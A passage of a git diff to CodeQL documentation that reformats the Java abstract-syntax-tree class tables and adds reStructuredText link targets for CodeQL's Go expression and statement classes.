https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ShiftExpr.html +.. _ShrExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ShrExpr.html +.. _LandExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$LandExpr.html +.. _LogicalBinaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$LogicalBinaryExpr.html +.. _LorExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$LorExpr.html +.. _LssExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$LssExpr.html +.. _RelationalComparisonExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$RelationalComparisonExpr.html +.. _GtrExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$GtrExpr.html +.. _LeqExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$LeqExpr.html +.. _GeqExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$GeqExpr.html +.. _EqlExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$EqlExpr.html +.. _EqualityTestExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$EqualityTestExpr.html +.. _NeqExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$NeqExpr.html +.. _AndExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$AndExpr.html +.. _BitwiseBinaryExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$BitwiseBinaryExpr.html +.. _OrExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$OrExpr.html +.. _XorExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$XorExpr.html +.. _AndNotExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$AndNotExpr.html +.. _TypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html +.. _ArrayTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ArrayTypeExpr.html +.. _StructTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$StructTypeExpr.html +.. _FunctionName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$FunctionName.html +.. _FuncTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$FuncTypeExpr.html +.. _InterfaceTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$InterfaceTypeExpr.html +.. _MapTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$MapTypeExpr.html +.. _SendChanTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$SendChanTypeExpr.html +.. _ChanTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ChanTypeExpr.html +.. _RecvChanTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$RecvChanTypeExpr.html +.. _SendRecvChanTypeExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$SendRecvChanTypeExpr.html +.. _Name: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$Name.html +.. _Ident: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$Ident.html +.. _SimpleName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$SimpleName.html +.. _QualifiedName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$QualifiedName.html +.. _SelectorExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$SelectorExpr.html +.. _PackageName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$PackageName.html +.. _TypeName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$TypeName.html +.. _LabelName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$LabelName.html +.. _ValueName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ValueName.html +.. _ConstantName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ConstantName.html +.. _VariableName: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$VariableName.html +.. _BlankIdent: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$BlankIdent.html +.. _Ellipsis: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$Ellipsis.html +.. _ParenExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ParenExpr.html +.. _IndexExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$IndexExpr.html +.. _SliceExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$SliceExpr.html +.. _TypeAssertExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$TypeAssertExpr.html +.. _StarExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$StarExpr.html +.. _ValueExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ValueExpr.html +.. _KeyValueExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$KeyValueExpr.html +.. _ConversionExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ConversionExpr.html +.. _CallOrConversionExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$CallOrConversionExpr.html +.. _CallExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$CallExpr.html +.. _BadExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$BadExpr.html +.. _ReferenceExpr: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Expr.qll/type.Expr$ReferenceExpr.html +.. _EmptyStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$EmptyStmt.html +.. _ExprStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$ExprStmt.html +.. _BlockStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html +.. _IfStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$IfStmt.html +.. _ForStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$ForStmt.html +.. _LoopStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$LoopStmt.html +.. _RangeStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$RangeStmt.html +.. _ExpressionSwitchStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$ExpressionSwitchStmt.html +.. _SwitchStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$SwitchStmt.html +.. _CaseClause: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html +.. _TypeSwitchStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$TypeSwitchStmt.html +.. _SimpleAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$SimpleAssignStmt.html +.. _CommClause: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$CommClause.html +.. _SelectStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$SelectStmt.html +.. _ReturnStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$ReturnStmt.html +.. _BreakStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$BreakStmt.html +.. _BranchStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$BranchStmt.html +.. _ContinueStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$ContinueStmt.html +.. _GotoStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$GotoStmt.html +.. _FallthroughStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$FallthroughStmt.html +.. _LabeledStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$LabeledStmt.html +.. _DeclStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$DeclStmt.html +.. _AssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$AssignStmt.html +.. _Assignment: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html +.. _DefineStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$DefineStmt.html +.. _AddAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$AddAssignStmt.html +.. _CompoundAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html +.. _SubAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$SubAssignStmt.html +.. _MulAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$MulAssignStmt.html +.. _QuoAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$QuoAssignStmt.html +.. _RemAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$RemAssignStmt.html +.. _AndAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$AndAssignStmt.html +.. _OrAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$OrAssignStmt.html +.. _XorAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$XorAssignStmt.html +.. _ShlAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$ShlAssignStmt.html +.. _ShrAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$ShrAssignStmt.html +.. _AndNotAssignStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$AndNotAssignStmt.html +.. _IncStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$IncStmt.html +.. _IncDecStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$IncDecStmt.html +.. _DecStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$DecStmt.html +.. _GoStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$GoStmt.html +.. _DeferStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$DeferStmt.html +.. _SendStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$SendStmt.html +.. _RecvStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$RecvStmt.html +.. _BadStmt: https://codeql.github.com/codeql-standard-libraries/go/semmle/go/Stmt.qll/type.Stmt$BadStmt.html diff --git a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst index 9e5ab4cd706..de4e1f18678 100644 --- a/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst +++ b/docs/codeql/codeql-language-guides/abstract-syntax-tree-classes-for-working-with-java-programs.rst @@ -12,80 +12,80 @@ Statement classes This table lists all subclasses of `Stmt`_. -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| Statement syntax | CodeQL class | Superclasses | Remarks | -+============================================================================+===========================================================================================================================================================+=================================+============================================+ -| ``;`` | `EmptyStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$EmptyStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| `Expr`_ ``;`` | `ExprStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ExprStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``{`` `Stmt`_ ``... }`` | `Block <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$Block.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``if (`` `Expr`_ ``)`` `Stmt`_ ``else`` `Stmt`_ | `IfStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$IfStmt.html>`__ | `ConditionalStmt`_ | | -+----------------------------------------------------------------------------+ | | | -| ``if (`` `Expr`_ ``)`` `Stmt`_ | | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``while (`` `Expr`_ ``)`` `Stmt`_ | `WhileStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$WhileStmt.html>`__ | `ConditionalStmt`_, `LoopStmt`_ | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``do`` `Stmt`_ ``while (`` `Expr`_ ``)`` | `DoStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$DoStmt.html>`__ | `ConditionalStmt`_, `LoopStmt`_ | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``for (`` `Expr`_ ``;`` `Expr`_ ``;`` `Expr`_ ``)`` `Stmt`_ | `ForStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ForStmt.html>`__ | `ConditionalStmt`_, `LoopStmt`_ | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``for (`` `VarAccess`_ ``:`` `Expr`_ ``)`` `Stmt`_ | `EnhancedForStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$EnhancedForStmt.html>`__ | `LoopStmt`_ | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``switch (`` `Expr`_ ``) {`` `SwitchCase`_ ``... }`` | `SwitchStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$SwitchStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``try {`` `Stmt`_ ``... } finally {`` `Stmt`_ ``... }`` | `TryStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$TryStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``return`` `Expr`_ ``;`` | `ReturnStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ReturnStmt.html>`__ | | | -+----------------------------------------------------------------------------+ | | | -| ``return ;`` | | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``throw`` `Expr`_ ``;`` | `ThrowStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ThrowStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``break ;`` | `BreakStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$BreakStmt.html>`__ | `JumpStmt`_ | | -+----------------------------------------------------------------------------+ | | | -| ``break label ;`` | | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``continue ;`` | `ContinueStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ContinueStmt.html>`__ | `JumpStmt`_ | | -+----------------------------------------------------------------------------+ | | | -| ``continue label ;`` | | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``label :`` `Stmt`_ | `LabeledStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$LabeledStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``synchronized (`` `Expr`_ ``)`` `Stmt`_ | `SynchronizedStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$SynchronizedStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``assert`` `Expr`_ ``:`` `Expr`_ ``;`` | `AssertStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$AssertStmt.html>`__ | | | -+----------------------------------------------------------------------------+ | | | -| ``assert`` `Expr`_ ``;`` | | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| `TypeAccess`_ ``name ;`` | `LocalVariableDeclStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$LocalVariableDeclStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``class name {`` `Member`_ ``... } ;`` | `LocalClassDeclStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$LocalClassDeclStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``this (`` `Expr`_ ``, ... ) ;`` | `ThisConstructorInvocationStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ThisConstructorInvocationStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``super (`` `Expr`_ ``, ... ) ;`` | `SuperConstructorInvocationStmt <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$SuperConstructorInvocationStmt.html>`__ | | | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``catch (`` `TypeAccess`_ ``name ) {`` `Stmt`_ ``... }`` | `CatchClause <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$CatchClause.html>`__ | | can only occur as child of a `TryStmt`_ | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``case`` `Literal`_ ``:`` `Stmt`_ ``...`` | `ConstCase <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$ConstCase.html>`__ | | can only occur as child of a `SwitchStmt`_ | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ -| ``default :`` `Stmt`_ ``...`` | `DefaultCase <https://help.semmle.com/qldoc/java/semmle/code/java/Statement.qll/type.Statement$DefaultCase.html>`__ | | can only occur as child of a `SwitchStmt`_ | -+----------------------------------------------------------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------+---------------------------------+--------------------------------------------+ ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| Statement syntax | CodeQL class | Superclasses | Remarks | ++====================================================================================+=================================+=================================+============================================+ +| ``;`` | EmptyStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| `Expr`_ ``;`` | ExprStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``{`` `Stmt`_ ``... }`` | Block_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``if (`` `Expr`_ ``)`` `Stmt`_ ``else`` `Stmt`_ | IfStmt_ | `ConditionalStmt`_ | | ++------------------------------------------------------------------------------------+ | | | +| ``if (`` `Expr`_ ``)`` `Stmt`_ | | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``while (`` `Expr`_ ``)`` `Stmt`_ | WhileStmt_ | `ConditionalStmt`_, `LoopStmt`_ | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``do`` `Stmt`_ ``while (`` `Expr`_ ``)`` | DoStmt_ | `ConditionalStmt`_, `LoopStmt`_ | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``for (`` `Expr`_ ``;`` `Expr`_ ``;`` `Expr`_ ``)`` `Stmt`_ | ForStmt_ | `ConditionalStmt`_, `LoopStmt`_ | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``for (`` `VarAccess`_ ``:`` `Expr`_ ``)`` `Stmt`_ | EnhancedForStmt_ | `LoopStmt`_ | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``switch (`` `Expr`_ ``) {`` `SwitchCase`_ ``... }`` | SwitchStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``try {`` `Stmt`_ ``... } finally {`` `Stmt`_ ``... }`` | TryStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``return`` `Expr`_ ``;`` | ReturnStmt_ | | | ++------------------------------------------------------------------------------------+ | | | +| ``return ;`` | | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``throw`` `Expr`_ ``;`` | ThrowStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``break ;`` | BreakStmt_ | `JumpStmt`_ | | ++------------------------------------------------------------------------------------+ | | | +| ``break label ;`` | | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``continue ;`` | ContinueStmt_ | `JumpStmt`_ | | ++------------------------------------------------------------------------------------+ | | | +| ``continue label ;`` | | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``label :`` `Stmt`_ | LabeledStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``synchronized (`` `Expr`_ ``)`` `Stmt`_ | SynchronizedStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``assert`` `Expr`_ ``:`` `Expr`_ ``;`` | AssertStmt_ | | | ++------------------------------------------------------------------------------------+ | | | +| ``assert`` `Expr`_ ``;`` | | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| `TypeAccess`_ ``name ;`` | LocalVariableDeclStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``class name {`` `Member`_ ``... } ;`` | LocalClassDeclStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``this (`` `Expr`_ ``, ... ) ;`` | ThisConstructorInvocationStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``super (`` `Expr`_ ``, ... ) ;`` | SuperConstructorInvocationStmt_ | | | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``catch (`` `TypeAccess`_ ``name ) {`` `Stmt`_ ``... }`` | CatchClause_ | | can only occur as child of a `TryStmt`_ | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``case`` `Literal`_ ``:`` `Stmt`_ ``...`` | ConstCase_ | | can only occur as child of a `SwitchStmt`_ | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ +| ``default :`` `Stmt`_ ``...`` | DefaultCase_ | | can only occur as child of a `SwitchStmt`_ | ++------------------------------------------------------------------------------------+---------------------------------+---------------------------------+--------------------------------------------+ Expression classes ------------------ -There are many expression classes, so we present them by category. All classes in this section are subclasses of `Expr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$Expr.html>`__. +There are many expression classes, so we present them by category. All classes in this section are subclasses of Expr_. Literals ~~~~~~~~ -All classes in this subsection are subclasses of `Literal <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$Literal.html>`__. +All classes in this subsection are subclasses of Literal_. +---------------------------+-------------------------+ -| Expression syntax example | CodeQL class | +| Expression syntax example | CodeQL class | +===========================+=========================+ | ``true`` | `BooleanLiteral`_ | +---------------------------+-------------------------+ @@ -107,10 +107,10 @@ All classes in this subsection are subclasses of `Literal <https://help.semmle.c Unary expressions ~~~~~~~~~~~~~~~~~ -All classes in this subsection are subclasses of `UnaryExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$UnaryExpr.html>`__. +All classes in this subsection are subclasses of UnaryExpr_. +-------------------+----------------+--------------------+--------------------------------------------------+ -| Expression syntax | CodeQL class | Superclasses | Remarks | +| Expression syntax | CodeQL class | Superclasses | Remarks | +===================+================+====================+==================================================+ | `Expr`_\ ``++`` | `PostIncExpr`_ | `UnaryAssignExpr`_ | | +-------------------+----------------+--------------------+--------------------------------------------------+ @@ -132,10 +132,10 @@ All classes in this subsection are subclasses of `UnaryExpr <https://help.semmle Binary expressions ~~~~~~~~~~~~~~~~~~ -All classes in this subsection are subclasses of `BinaryExpr <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$BinaryExpr.html>`__. +All classes in this subsection are subclasses of BinaryExpr_. +-------------------------+-------------------+-------------------+ -| Expression syntax | CodeQL class | Superclasses | +| Expression syntax | CodeQL class | Superclasses | +=========================+===================+===================+ | `Expr`_ ``*`` `Expr`_ | `MulExpr`_ | | +-------------------------+-------------------+-------------------+ @@ -155,7 +155,7 @@ All classes in this subsection are subclasses of `BinaryExpr <https://help.semml +-------------------------+-------------------+-------------------+ | `Expr`_ ``&&`` `Expr`_ | `AndLogicalExpr`_ | `LogicExpr`_ | +-------------------------+-------------------+-------------------+ -| `Expr`_ ``||`` `Expr`_ | `OrLogicalExpr`_ | `LogicExpr`_ | +| `Expr`_ ``||`` `Expr`_ | `OrLogicalExpr`_ | `LogicExpr`_ | +-------------------------+-------------------+-------------------+ | `Expr`_ ``<`` `Expr`_ | `LTExpr`_ | `ComparisonExpr`_ | +-------------------------+-------------------+-------------------+ @@ -179,97 +179,97 @@ All classes in this subsection are subclasses of `BinaryExpr <https://help.semml Assignment expressions ~~~~~~~~~~~~~~~~~~~~~~ -All classes in this table are subclasses of `Assignment <https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/type.Expr$Assignment.html>`__. +All classes in this table are subclasses of Assignment_. -+--------------------------+----------------------+--------------+ -| Expression syntax | CodeQL class | Superclasses | -+==========================+======================+==============+ -| `Expr`_ ``=`` `Expr`_ | `AssignExpr`_ | | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``+=`` `Expr`_ | `AssignAddExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``-=`` `Expr`_ | `AssignSubExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``*=`` `Expr`_ | `AssignMulExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``/=`` `Expr`_ | `AssignDivExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``%=`` `Expr`_ | `AssignRemExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``&=`` `Expr`_ | `AssignAndExpr`_ | `AssignOp`_ | -+--------------------------+----------------------+--------------+ -| `Expr`_ ``|=`` `Expr`_ | `AssignOrExpr`_ | `AssignOp`_ | 